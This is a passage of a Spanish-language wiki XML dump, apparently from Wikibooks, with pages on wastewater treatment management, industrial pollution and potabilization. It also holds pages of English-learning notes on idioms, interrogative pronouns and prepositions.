*	Generación del parte de avería.
**	Una vez detectada la anomalía se genera este parte. (Lo genera quien detecta la anomalía).

[[Imagen:Gestion_edar_parte_averia.jpg]]

*	Generación de la solicitud de trabajo.
**	Con el parte de avería se genera la solicitud de trabajo.


[[Imagen:Gestion_edar_orden_trabajo.gif]]

==4. GESTIÓN DE COMPRAS==
*	Necesidad de material.
*	Elaboración de una solicitud de material.
*	Reserva de fondos para la compra.
*	Aprobación de la solicitud.
*	Generación de pedido de compra.
*	Recepción del material.
*	Elaboración de la solicitud de trabajo.
*	Aplicación informática.
*	Búsqueda de artículos en la BD.
*	Generación de distribuciones para cada artículo.
*	Reserva de fondos para la solicitud.
*	Aprobación de la solicitud.
*	Pedido de compra.
*	Es generado por el DPTO. de compras, y enviado al proveedor.

[[Imagen:Gestion_edar_orden_pedido.gif]]


*	Recepción de pedido
**	Comprobación de la mercancía
**	Estado
**	Correspondencia con lo pedido
**	Tiempo y forma 
**	Recepción.
*	Aplicación informática.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Cálculos hidráulicos
 |actual=Gestión de depuradoras
 |siguiente=Contaminación industrial
}}

{{AutoCat}}</text>
      <sha1>oyn8ee6nkc0c27caal6c02u4xfz6vz5</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Contaminación industrial</title>
    <ns>0</ns>
    <id>12681</id>
    <revision>
      <id>429981</id>
      <parentid>409147</parentid>
      <timestamp>2026-08-02T09:34:49Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429981</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9326" sha1="2m4yuk4rbkkzs4t5pcbtfpemykz4aas" xml:space="preserve">==1. Contaminación==

Definición: Impregnación del aire, el agua o el suelo con productos que afectan a la salud del hombre, la calidad de vida o el funcionamiento natural de los ecosistemas.

La contaminación ha ido en aumento desde la Revolución Industrial, pero hasta hace poco sus efectos, como la lluvia ácida, no han producido alarma internacional. 

===1.1 Emisiones de chimeneas industriales===

Cerca de las fábricas, se producen daños adicionales por deposición de partículas de mayor tamaño en forma de precipitación seca. 

Las nubes pueden llevar los contaminantes a grandes distancias, dañando bosques y lagos muy alejados de las fábricas en las que se originaron. 

Los bosques, lagos, estanques y otros ecosistemas terrestres y acuáticos del mundo sufren graves daños ocasionados por la lluvia ácida.

===1.2 Lluvia ácida===

Ésta se origina por la combinación, con la humedad atmosférica, de los óxidos de azufre y nitrógeno que se emiten a la atmósfera, originando ácidos sulfúrico y nítrico. La lluvia ácida, además de quemar las hojas de las plantas también acidifica el agua de los lagos dejando sin vida muchos de estos ecosistemas acuáticos.

===1.3 Calentamiento global. Efecto Invernadero===

Debido al uso de combustibles fósiles y a otros procesos industriales

“Acumulación de gases invernadero (dióxido de carbono, metano, óxido nitroso y clorofluorocarbonos) en la atmósfera”.

===1.4 SMOG===

Mezcla de niebla con partículas de humo, formada cuando el grado de humedad en la atmósfera es alto y el aire está tan quieto que el humo se acumula cerca de su fuente. 

El smog reduce la visibilidad natural y, a menudo, irrita los ojos y el aparato respiratorio.


===1.5 Vertidos de Petróleo (Mareas Negras) ===

Rrepresentan un grave problema, ya que una vez producidos, es casi imposible eliminarlos o contenerlos por completo. 

Dado que el agua y el petróleo no se mezclan, éste flota sobre el agua y acaba contaminando las costas. 

El intento de tratar químicamente o hundir el crudo puede alterar aún más los ecosistemas marinos y costeros.

==2. Contaminación del agua==

Cada año mueren unos 10 millones de personas en el mundo por beber agua contaminada.

===2.1 Fuentes Contaminación del Agua===

Los trabajos agrícolas y ganaderos pueden producir una contaminación muy grave de las aguas de los ríos y los acuíferos. Los principales causantes son los vertidos de aguas cargadas de residuos orgánicos, procedentes de las labores de transformación de productos vegetales, o de los excrementos de los animales.
*Muchas  industrias, como la papelera, textil y siderúrgica, necesitan agua para desarrollar su actividad. La consecuencia es el vertido de aguas residuales cargadas de materia orgánica, metales, aceites industriales e incluso radiactividad. 
*Para evitar los problemas que pueden causar los contaminantes de las aguas residuales existen sistemas de depuración que sirven para devolverles las características físicas y químicas originales.

===2.2 Principales contaminantes del agua ===

Los residuos que demandan oxígeno (en su mayor parte materia orgánica, cuya descomposición produce la desoxigenación del agua).
*Agentes infecciosos.
*Nutrientes vegetales que pueden estimular el crecimiento de las plantas acuáticas. Éstas, a su vez, interfieren con los usos a los que se destina el agua y, al descomponerse, agotan el oxígeno disuelto y producen olores desagradables.
*Productos químicos, incluyendo los pesticidas, diversos productos industriales, las sustancias tensioactivas contenidas en los detergentes, y los productos de la descomposición de otros compuestos orgánicos.
*Petróleo, especialmente el procedente de los vertidos accidentales.
*Minerales inorgánicos y compuestos químicos.
*Sedimentos formados por partículas del suelo y minerales arrastrados por las tormentas y escorrentías desde las tierras de cultivo, los suelos sin protección, las explotaciones mineras, las carreteras y los derribos urbanos.
*Sustancias radiactivas procedentes de los residuos producidos por la minería y el refinado del uranio y el torio, las centrales nucleares y el uso industrial, médico y científico de materiales radiactivos.
*El ruido, el calor y el movimiento también son formas de contaminación que alteran los ciclos vitales.
*El calor también puede ser considerado un contaminante cuando el vertido del agua empleada para la refrigeración de las fábricas y las centrales energéticas hace subir la temperatura del agua de la que se abastecen.
*La contaminación de ríos y arroyos por contaminantes químicos 
*Se ha convertido en uno de los problemas ambientales más graves

====La contaminación química de los ríos y arroyos procede de: ====
*Fuentes identificables, como fábricas, refinerías o desagües de aguas residuales. 
*No puede identificarse con precisión, como las escorrentías de la agricultura o la minería o las filtraciones de fosas sépticas o depuradoras.

===2.3 Naturaleza de las aguas residuales===

El origen, composición y cantidad de los desechos están relacionados con los hábitos de vida vigentes. 

Cuando un producto de desecho se incorpora al agua, el líquido resultante recibe el nombre de agua residual.

====2.3.1Origen====

Las aguas residuales tienen un origen doméstico, industrial, subterráneo y meteorológico, y estos tipos de aguas residuales suelen llamarse respectivamente, domésticas, industriales, de infiltración y pluviales.

====2.3.2 Cantidad====

La cantidad y naturaleza de los vertidos industriales es muy variada, dependiendo del tipo de industria, de la gestión de su consumo de agua y del grado de tratamiento que los vertidos reciben antes de su descarga.

====2.3.3 Tipos de vertidos industriales====

La clasificación se puede hacer según  diferentes criterios:
*Composición en elementos contaminante.
*Características de dichos elementos, 
*Los procesos en los que se originan, etc.. 
*Secuencia de tiempo en la que se generan
*Vertidos Continuos: Provienen de procesos en los que existe una entrada y una salida continua de agua, como son el transporte, lavado, refrigeración....
*Vertidos Discontinuos: Proceden de operaciones intermedias. Son los más contaminados como el caso de los baños de curtido, lejías negras, emulsiones, etc. Al aumentar el tamaño de la industria, algunos vertidos discontinuos pueden convertirse en continuos.

====2.3.4 Clasificación de las industrias según sus vertidos. ====
*Industrias con efluentes principalmente orgánicos.
*Industrias con efluentes orgánicos e inorgánicos.
*Industrias con efluentes principalmente inorgánicos.
*Industrias con efluentes con materias en suspensión.
*Industrias con efluentes de refrigeración.

====2.3.5 Contaminación Característica de la Industria. ====

Cada actividad industrial aporta una contaminación determinada, por lo que  es conveniente conocer el origen del vertido industrial para valorar
*su carga contaminante
*su incidencia en el medio receptor

Industria Papelera.
* Color
* Materia en suspensión y decantable
* Contaminación orgánica
* pH en algunos casos

La ganadería comercial y las granjas avícolas
* Contaminación orgánica e inorgánica.

Industria Lechera.
* Contaminación orgánica

Industria del Curtido.
* Alcalinidad
* Materia en suspensión y decantable
* Contaminación orgánica
* Sulfuros
* Cromo

Refinerías
* Aceites
* Materia orgánica
* Fenoles
* Amoníaco
* Sulfuros

Industrias de Acabado de Metales.
* pH
* Cianuros
* Metales, según el proceso de acabado

Las características de las aguas residuales industriales pueden diferir mucho tanto dentro como entre las empresas. 

El impacto de los vertidos industriales depende no sólo de sus características comunes, como la demanda bioquímica de oxígeno, sino también de su contenido en sustancias orgánicas e inorgánicas específicas. 

Hay tres opciones (que no son mutuamente excluyentes) para controlar los vertidos industriales. 

El control puede tener lugar allí donde se generan dentro de la planta; las aguas pueden tratarse previamente y descargarse en el sistema de depuración urbana; o pueden depurarse por completo en la planta y ser reutilizadas o vertidas sin más en corrientes o masas de agua.

====2.3.6 Composición ====

La composición de las aguas residuales se analiza con diversas mediciones físicas, químicas y biológicas. 

	Las mediciones más comunes incluyen:
* El contenido en sólidos
* La demanda bioquímica de oxígeno (DBO5)
*La demanda química de oxígeno (DQO) *El  pH.

===2.4 Objetivos de la caracterización del Efluente Industrial: ===

En determinados casos, también será necesario determinar el grado de toxicidad de los efluentes e identificar las sustancias responsables de dicha toxicidad.

La toma de muestra de los efluentes para el análisis de estos parámetros, debe llevarse a cabo en condiciones adecuadas, condiciones que se encuentran recogidas en los manuales estandarizados de analítica.

Los puntos de muestreo han de ser significativos.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Gestión de depuradoras
 |actual=Contaminación industrial
 |siguiente=Proceso de tratamientos de aguas industriales
}}

{{AutoCat}}</text>
      <sha1>2m4yuk4rbkkzs4t5pcbtfpemykz4aas</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Proceso de tratamientos de aguas industriales</title>
    <ns>0</ns>
    <id>12682</id>
    <revision>
      <id>429982</id>
      <parentid>408550</parentid>
      <timestamp>2026-08-02T09:35:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429982</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5152" sha1="nctb5m7l5dok15m3x79suk3vj3ef0tg" xml:space="preserve">==1. CONTACTO CON EL CLIENTE. TOMA DE MUESTRA. ==
Primera fase  PFI WEC Departemento Comercial 
*Detecta la necesidad de EDARI en una industria.
*Ofrece la posibilidad de estudio 
Segunda fase   PFI WEC  Departamento técnico
*Estudia el proceso productivo.       
*Analiza los puntos de vertido y la periodicidad de los mismos.
*Minimización, segregación y reutilización de vertidos .
*Realiza una toma de muestra de un agua representativa.

==2. ANÁLISIS DE VERTIDOS. ENSAYOS TRATABILIDAD ==
Caracterización del agua   -------------------&gt;  Laboratorio 
*Estudio de los parámetros del  vertido 
*Resultados de analíticas 
Vertido estándar del sector   -------------------&gt;   Regulación

Vertido especial         -------------------&gt;        Ensayos de tratabilidad

Ensayos de tratabilidad     -------------------&gt;               Departamento de I+D
===2.1 Tratamiento físico- quimico: ===
*Obtención de los procesos de coagulación.
*Optimización de los reactivos a utilizar 
*Optimización de las dosis

===2.2 Tratamiento biológico aerobio: ===
*Ensayo de degradabilidad.
*Obtención de parámetros de diseño

===2.3 Tratamiento biológico anaerobio: ===
*Ensayo de degradabilidad.
*Obtención de parámetros de diseño.

==3. DISEÑO DE LA SOLUCIÓN. ==
En líneas generales una EDARI consta de:
'''1. Pozo de bombeo. '''
*Dimensionamiento del pozo 
*  Selección de las bombas
'''2. Desbaste de gruesos. '''
*Selección del sistema 
'''3. Selección del tamiz. '''
*Selección del tamiz 
'''4. Desengrase. '''
*Dimensionamiento de la cámara de aireación 
*Elección de los equipos de aireación
*Dimensionamiento de la cámara de tranquilización
*Diseño del sistema de recogida de grasas 
'''5. Balsa de homogeneización. '''
*Dimensionamiento de la balsa 
*Necesidad de agitación: equipos
*Necesidad de aireación : equipos
'''6. Ajuste de pH'''
*Dimensionamiento de la cámara de control de pH
*Necesidad de agitación: equipos.
*Sistema de dosificación de reactivos: equipos
'''7. Tratamiento principal. '''
*   Tratamiento físico- químico **
** Diseño del sistema de preparación de reactivos 
** Lección del sistema de separación de fangos:
Por Decantación  -------------------&gt;  diseño 

Por flotación   -------------------&gt;   diseño 
*   Tratamiento biológico aerobio: 
** Elección del tipo de reactor 
** Diseño del sistema biológico
** Elección del sistema biológico
** Elección del sistema de separación  de fangos: 
Por Decantación  -------------------&gt;    diseño

Por Flotación      -------------------&gt;      diseño 
*Tratamiento biológico anaerobio anaerobio:
**Elección del tipo de reactor
**Elección del sistema de agitación 
'''8. Línea de tratamiento de fangos'''
*Inertización de fangos:
**Por estabilización biológica.
**Por inertización quimifica 
*Espesamiento de fangos por medios mecánicos:
**Mediante filtro banda 
**Mediante filtro prensa 
**Mediante centrifuga 
Secado térmico de fangos 
'''9. Instalaciones comunes. '''
*Bombeo intermedio
*Elección de tubería y valvuleria
*Automatismo y control
**Interruptores de nivel
** Medidores de caudal 
** Medidores de oxigeno disuelto
** Ph – metros
** Redoxymetros
*Instalación neumática 
*Instalación eléctrica
*Cubetos para reactivos químicos
*Escaleras y elementos de tránsito
*Accesos

==4. PROYECTO FINAL. INGENIERÍA DE DETALLE. ==
* Tiene lugar la fase de desarrollo del proyecto aceptado.
*Replanteo.
*Comprobación de los datos de partido ( Q, DQO, …).
*Realización del planning de obra.
*Petición de los equipos por parte de Dpto. de Compra.
*Fabricación de los equipos por parte de Fábrica

==5. INSTALACIÓN Y PUESTA EN MARCHA DE LA EDARI ==
*Realización de los planos de instalación 
*Instalación y anclaje de los equipos.
*Instalación de las tuberías y los accesorios necesarios.
*Tirado de la acometida eléctrica 
*Conexionado de los equipos
*Conexionado del cuadro eléctrico
*Pruebas hidráulicas
*Pruebas eléctricas
*Realización del curso de formación al personal de la industria
*Entrega de la planta
==6. MANTENIMIENTO==
El departamento  de Mantenimiento y explotación hace un estudió personalizado, realizando tras él un cuaderno de carga para la EDARI, y ofreciendo:

*Mantenimiento integral
*Mantenimiento parcial
*Asesoramiento técnico
*mantenimiento predictivo

==7. VALORACIÓN ECONÓMICA. ==
Hay que tener en cuenta diferentes aspectos:
'''Coste de la EDARI: '''
* Equipos
*Material de instalación mecánica
*Material de instalación eléctrica
*Mano de obra para la instalación
*Mano de obra para la puesta en marcha
*Siembra de fangos para el arranque biológico
*Analíticas de control en la puesta en marcha
*Analíticas finales
'''Consumo eléctrico: '''
*Costos a fijos por potencia instalada
*Costos variables por potencia consumida
'''Gastos de reactivos. '''

'''Gastos en gestión de fangos'''

'''Gastos de personal para el mantenimiento. '''


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Contaminación industrial
 |actual=Proceso de tratamientos de aguas industriales
 |siguiente=Proceso de potabilización
}}

{{AutoCat}}</text>
      <sha1>nctb5m7l5dok15m3x79suk3vj3ef0tg</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Proceso de potabilización</title>
    <ns>0</ns>
    <id>12683</id>
    <revision>
      <id>429983</id>
      <parentid>297349</parentid>
      <timestamp>2026-08-02T09:35:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429983</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1930" sha1="02ccohkguqwfnbzkb2lzs2genh3oqlm" xml:space="preserve">
==2.OXIDACIÓN==
===2.1Objetivos===
Eliminación de sustancias disueltas (minerales, orgánicas, ...) supresión de olores, sabores y germenes..

==3. TRATAMIENTO==
===3.1 Coagulantes===
*Agrupan las partículas coloidales, por atracción de cargas 
*Los más usados, sulfatos, polihidroxicloruros y cloruros de alúmina o de hierro.
*Ensayar en laboratorio diversos tipos (jartest)


===3.3 Tipos de decantadores===
*Decantadores estáticos
*Decantadores por contacto de fangos (acelator, turbocirculator)
*Decantadores de lecho de fangos ( pulsator)

==4. FILTRACIÓN==


==5. ACONDICIONAMIENTO FINAL==
===5.1 Ajuste de pH===
*Necesario para evitar incrustaciones y corrosiones en la red 
*Aumento de pH: hidróxido sódico, hidróxido cálcico, carbonato sódico
*Disminución de pH: ac. sulfúrico, ac. clorhídrico, anhídrido carbónico

===5.2 Fluoración===
*Usado por recomendación sanitaria, no necesario para la potabilidad
*El agente más usado es el ac. fluosilísico (líquido), dosificación segura
*Otros productos fluoruro sódico, fluosilicato sódico (polvos)
===5.3 Desinfección===
*Asegura sanitariamente las aguas distribuidas
*El agente más usado es el cloro en sus distintas formas
*El ozono resulta más eficaz, aunque también es más caro y peligroso
==6. RECUPERACIÓN DE LAS AGUAS DE PROCESO==


===6.2 Consideraciones previas al diseño===
*Caracterizar los vertidos, para determinar el tratamiento adecuado
*Prever trabajar a un régimen estable, evitando puntas de vertido y....

===6.3 Procesos utilizados===
*Desarenador
*Cámara de laminación
*Tratamiento físico-químico (coagulación, floculación)
*Decantación
*Espesador de fangos
*Deshidratación de fangos (centrífugas, filtros bandas, filtros prensa,..


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Proceso de tratamientos de aguas industriales
 |actual=Proceso de potabilización
}}

{{AutoCat}}</text>
      <sha1>02ccohkguqwfnbzkb2lzs2genh3oqlm</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Modismos</title>
    <ns>0</ns>
    <id>12721</id>
    <revision>
      <id>429850</id>
      <parentid>355703</parentid>
      <timestamp>2026-08-01T22:05:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429850</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3619" sha1="k1imw0m15yhbsdbdfe6nqs3han46kt1" xml:space="preserve">===Modismos===

*'''OF COURSE'''

*Es éste un modismo inglés que traduce nuestros ''naturalmente'', ''sin duda'', ''por supuesto'', ''¡Claro!''.
*Viene a ser como un ''enlace'' entre una frase y otra, una exclamación que reafirma lo dicho y da ánimos para proseguir. Proviene del verbo '''to course''', cuyo primer significado es ''correr sobre''.


*'''ALL RIGHT'''

*Significa ''Todo está bien''
*'''All right''', en el fondo, viene a ser lo que parece decir en español. Pero, por aquello de que siempre existe una interpretación más perfecta, más acorde con el uso y el sentido de lo que se pretende decir, '''all right''' equivale a nuestro '''¡está bien!'''.
*No diremos que ''está derecho'' una cosa torcida, confusa, mal interpretada. ''Está bien'' aquello ''derecho'', claro, correcto. ''Todo derecho'', en el fondo, equivale a que ''está bien''.


*'''JUST A MINUTE!!'''

*''¡¡Sólo un minuto!!'' tiene para nosotros un significado expresado mediante las palabras ''Un momento''.
*En cuanto a '''Wait a minute''', es en realidad una variante de '''just a minute''' la cual sería nuestro ''¡¡Espera un ratito!!'' . Con este modismo sobreentedemos que ''han de esperar'' un momento. Con '''Wait a minute''' le ''decimos'': ''Espere un momento''.


*'''DO NOT MENTION IT'''

*''No lo menciones'', parece decir. Efectivamente, éste es el sentido de la frase.
*Equivale a ''No hay de qué'', pero también puede ser ''Ni lo menciones''.


*'''BY THE WAY'''

*Cuya traducción literal es ''por el camino'', pero que debe traducir por ''dicho sea de paso'', ''a propósito''.


*'''IT IS RAINING CATS AND DOGS'''

*''Llueve a cántaros''


*'''LOOK'''

*Cuando vea '''look!''', usted puede entender: ''¡Mire!'', ''observe'', ''fijese'', ''vea'', incluso nuestra exclamación ''¡eh!'' le va bien en ocasiones.

*'''Have a look''' equivale a ''dar una mirada'', a pesar de la contradicción entre los dos verbos.

*'''When there are clouds in the sky, it looks grey''' (''Cuando hay nubes en el cielo se ve gris'' o ''parece gris'').

*'''They look for a bar'''.
*'''look for''', es ''buscar'', o sea, ''Buscar un bar''.


*'''FROM THEN ON'''

*''Desde entonces'', ''desde ese momento en adelante''.

*'''On''' tiene el sentido de ''en'' al igual que ''sobre''.


*'''Variaciones sobre MATTER'''

*He aquí un sustantivo (traduce ''material'', ''cuerpo'', ''sustancia'') que és a la vez verbo -'''to matter''': ''importar''. ''convenir'', ''hacer al caso''- y que es especialmente usado en inglés para determinados modismos con significado propio, apartándose por la general del primitivo.

*'''It doesn´t matter''' (No importa)
*'''What's the matter?''' (¿Qué pasa?)
*'''What's the matter with you?''' (¿Qué te pasa?)
*'''As a matter of fact''' (En realidad...)
*'''Matter of course''' ((Cosa corriente)


*'''QUESTION PHRASES'''

*Cuando un inglés quiere una respuesta '''afirmativa''' a su afirmación, al de final de la frase hace una pregunta '''negativa'''. Y por el contrario, cuando quiere una respuesta '''negativa''' a su propia negación, entonces al final de sus palabras hace una pregunta '''afirmativa'''...

*A esa peculiaridad inglesa las llaman ellos '''question phrases'''. resumiendo, he aquí lo que ha de recordar al respecto:

*a) Si la frase es afirmativa, la pregunta final deberá hacerse negativamente.
*b) Si la frase es negativa, la pregunta final deberá hacerse afirmativamente.
*c) Absolutamente en todos los casos en que la interrogación sea negativa, deberá usarse la contracción correspondiente.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>k1imw0m15yhbsdbdfe6nqs3han46kt1</sha1>
    </revision>
    <revision>
      <id>429900</id>
      <parentid>429850</parentid>
      <timestamp>2026-08-01T22:09:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429900</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3579" sha1="sm55yzfpmkkw6wxgavy722w4j9iprh5" xml:space="preserve">===Modismos===

*'''OF COURSE'''

*Es éste un modismo inglés que traduce nuestros ''naturalmente'', ''sin duda'', ''por supuesto'', ''¡Claro!''.
*Viene a ser como un ''enlace'' entre una frase y otra, una exclamación que reafirma lo dicho y da ánimos para proseguir. Proviene del verbo '''to course''', cuyo primer significado es ''correr sobre''.


*'''ALL RIGHT'''

*Significa ''Todo está bien''
*'''All right''', en el fondo, viene a ser lo que parece decir en español. Pero, por aquello de que siempre existe una interpretación más perfecta, más acorde con el uso y el sentido de lo que se pretende decir, '''all right''' equivale a nuestro '''¡está bien!'''.
*No diremos que ''está derecho'' una cosa torcida, confusa, mal interpretada. ''Está bien'' aquello ''derecho'', claro, correcto. ''Todo derecho'', en el fondo, equivale a que ''está bien''.


*'''JUST A MINUTE!!'''

*''¡¡Sólo un minuto!!'' tiene para nosotros un significado expresado mediante las palabras ''Un momento''.
*En cuanto a '''Wait a minute''', es en realidad una variante de '''just a minute''' la cual sería nuestro ''¡¡Espera un ratito!!'' . Con este modismo sobreentedemos que ''han de esperar'' un momento. Con '''Wait a minute''' le ''decimos'': ''Espere un momento''.


*'''DO NOT MENTION IT'''

*''No lo menciones'', parece decir. Efectivamente, éste es el sentido de la frase.
*Equivale a ''No hay de qué'', pero también puede ser ''Ni lo menciones''.


*'''BY THE WAY'''

*Cuya traducción literal es ''por el camino'', pero que debe traducir por ''dicho sea de paso'', ''a propósito''.


*'''IT IS RAINING CATS AND DOGS'''

*''Llueve a cántaros''


*'''LOOK'''

*Cuando vea '''look!''', usted puede entender: ''¡Mire!'', ''observe'', ''fijese'', ''vea'', incluso nuestra exclamación ''¡eh!'' le va bien en ocasiones.

*'''Have a look''' equivale a ''dar una mirada'', a pesar de la contradicción entre los dos verbos.

*'''When there are clouds in the sky, it looks grey''' (''Cuando hay nubes en el cielo se ve gris'' o ''parece gris'').

*'''They look for a bar'''.
*'''look for''', es ''buscar'', o sea, ''Buscar un bar''.


*'''FROM THEN ON'''

*''Desde entonces'', ''desde ese momento en adelante''.

*'''On''' tiene el sentido de ''en'' al igual que ''sobre''.


*'''Variaciones sobre MATTER'''

*He aquí un sustantivo (traduce ''material'', ''cuerpo'', ''sustancia'') que és a la vez verbo -'''to matter''': ''importar''. ''convenir'', ''hacer al caso''- y que es especialmente usado en inglés para determinados modismos con significado propio, apartándose por la general del primitivo.

*'''It doesn´t matter''' (No importa)
*'''What's the matter?''' (¿Qué pasa?)
*'''What's the matter with you?''' (¿Qué te pasa?)
*'''As a matter of fact''' (En realidad...)
*'''Matter of course''' ((Cosa corriente)


*'''QUESTION PHRASES'''

*Cuando un inglés quiere una respuesta '''afirmativa''' a su afirmación, al de final de la frase hace una pregunta '''negativa'''. Y por el contrario, cuando quiere una respuesta '''negativa''' a su propia negación, entonces al final de sus palabras hace una pregunta '''afirmativa'''...

*A esa peculiaridad inglesa las llaman ellos '''question phrases'''. resumiendo, he aquí lo que ha de recordar al respecto:

*a) Si la frase es afirmativa, la pregunta final deberá hacerse negativamente.
*b) Si la frase es negativa, la pregunta final deberá hacerse afirmativamente.
*c) Absolutamente en todos los casos en que la interrogación sea negativa, deberá usarse la contracción correspondiente.


{{AutoCat}}</text>
      <sha1>sm55yzfpmkkw6wxgavy722w4j9iprh5</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El pronombre interrogativo</title>
    <ns>0</ns>
    <id>12722</id>
    <revision>
      <id>429822</id>
      <parentid>164770</parentid>
      <timestamp>2026-08-01T22:01:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429822</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1252" sha1="qc87a9mvffyf97vha6do416qm8s4ok0" xml:space="preserve">===El pronombre interrogativo===

*'''what...?''' ¿qué?
*'''who...?''' ¿quién...? ¿quiénes...?
*'''which...?''' ¿cuál...? ¿cuáles...?

*Usaremos '''who''' refiriéndonos a personas. Ejemplo: '''Who are you?'' (quién es usted?). '''Which''' lo utilizaremos en plan selectivo, tanto para personas como cosas. Ejemplos: '''Which of these books is red?''' (¿cuál de esos libros es rojo?). '''Which of these men is sitting?''' (¿cuál de esos hombres está sentado?). Por lo que se refiere a '''what''', su significado es muy general... '''What is this?''' (¿qué es esto?), '''What time is it?''' (qué hora es?).


*Esta ''variante'' '''whose''' corresponde al pronombre interrogativo '''who'''. Lo que ocurre es lo siguiente:
*El pronombre ''quien'' sufre determinadas variaciones, según haya de indicar relación de propiedad, posesión y pertenencia (en cuyo caso se dice está en ''genitivo'') o bien haya de indicar la persona o cosa a que afecta la significación del verbo, sin ser objeto directo de ella (en cuyo caso se dice está en ''acusativo'' o ''dativo''.

*Primer caso: '''who''' se ''transforma'' en '''whose'''
*Segundo caso: '''who''' se ''transforma'' en '''whom'''


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>qc87a9mvffyf97vha6do416qm8s4ok0</sha1>
    </revision>
    <revision>
      <id>429883</id>
      <parentid>429822</parentid>
      <timestamp>2026-08-01T22:09:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429883</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1212" sha1="oe93a0o9dik7vo5r39rd3i3bw19752r" xml:space="preserve">===El pronombre interrogativo===

*'''what...?''' ¿qué?
*'''who...?''' ¿quién...? ¿quiénes...?
*'''which...?''' ¿cuál...? ¿cuáles...?

*Usaremos '''who''' refiriéndonos a personas. Ejemplo: '''Who are you?'' (quién es usted?). '''Which''' lo utilizaremos en plan selectivo, tanto para personas como cosas. Ejemplos: '''Which of these books is red?''' (¿cuál de esos libros es rojo?). '''Which of these men is sitting?''' (¿cuál de esos hombres está sentado?). Por lo que se refiere a '''what''', su significado es muy general... '''What is this?''' (¿qué es esto?), '''What time is it?''' (qué hora es?).


*Esta ''variante'' '''whose''' corresponde al pronombre interrogativo '''who'''. Lo que ocurre es lo siguiente:
*El pronombre ''quien'' sufre determinadas variaciones, según haya de indicar relación de propiedad, posesión y pertenencia (en cuyo caso se dice está en ''genitivo'') o bien haya de indicar la persona o cosa a que afecta la significación del verbo, sin ser objeto directo de ella (en cuyo caso se dice está en ''acusativo'' o ''dativo''.

*Primer caso: '''who''' se ''transforma'' en '''whose'''
*Segundo caso: '''who''' se ''transforma'' en '''whom'''


{{AutoCat}}</text>
      <sha1>oe93a0o9dik7vo5r39rd3i3bw19752r</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Palabras especiales</title>
    <ns>0</ns>
    <id>12723</id>
    <revision>
      <id>429852</id>
      <parentid>350563</parentid>
      <timestamp>2026-08-01T22:05:09Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429852</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="21408" sha1="dvb8r3tfomlzm8usfbfan2w0eqozy5j" xml:space="preserve">===Miscelánea===
Muchas cosas en comun
*'''SIDE-INSIDE-OUTSIDE'''

*Las tres palabras giran alrededor de una misma idea: '''Side''' equivale a ''lado''. '''Inside''' será, pues, ''lado de dentro''; '''outside''', ''lado de fuera''.
*Correctamente, '''inside''' es ''dentro'' y '''outside''' ''fuera'' o ''afuera''. Por extensión, indicaran también ''el interior'' y ''el exterior'', respectivamente.


*'''ABOVE''' y '''ON TOP'''

*'''Above''' equivale a ''por encima de...''
*'''On top''' es una expresión más enfática, tajante. ''En el tope'', en la cima, en la cumbre.


*'''AGAINST''', '''BESIDE''' y '''TOGETHER'''

*'''Against''' es una preposición ''activa''. Indica ''contra'', bien en un sentido material, bien espiritualmente.
*'''He is against Communism'''
*'''The book-case is against the wall'''
*No es el mismo caso en cuanto a '''beside''', perteneciente a la serie '''side, inside, outside...'''
*'''Beside''' expresa la idea de proximidad material, en su sentido ''de lado'' o sea:
*'''Please, take a seat beside me.'''
*'''Together''' indica proximidad, pero en el sentido concreto de reunión. Equivale a ''juntos''.
*'''In the classroom, the pupils are together'''

*'''Against:''' Da idea de agresividad... Tenga presente que algo está o va '''contra''' algo.
*'''Beside:''' Algo está ''próximo'' a algo... pero concretamente '''al lado.'''
*'''Togheter:''' Ahora la ''proximidad'' es plural. Varias personas o cosas están '''juntos.'''


*'''A LONG WAY'''

*Se usa cuando la frase es '''afirmativa''', queremos indicar lo que en español sería ''lejos'' o ''alejado''.
*'''This one (book) is a long way from this one.'''
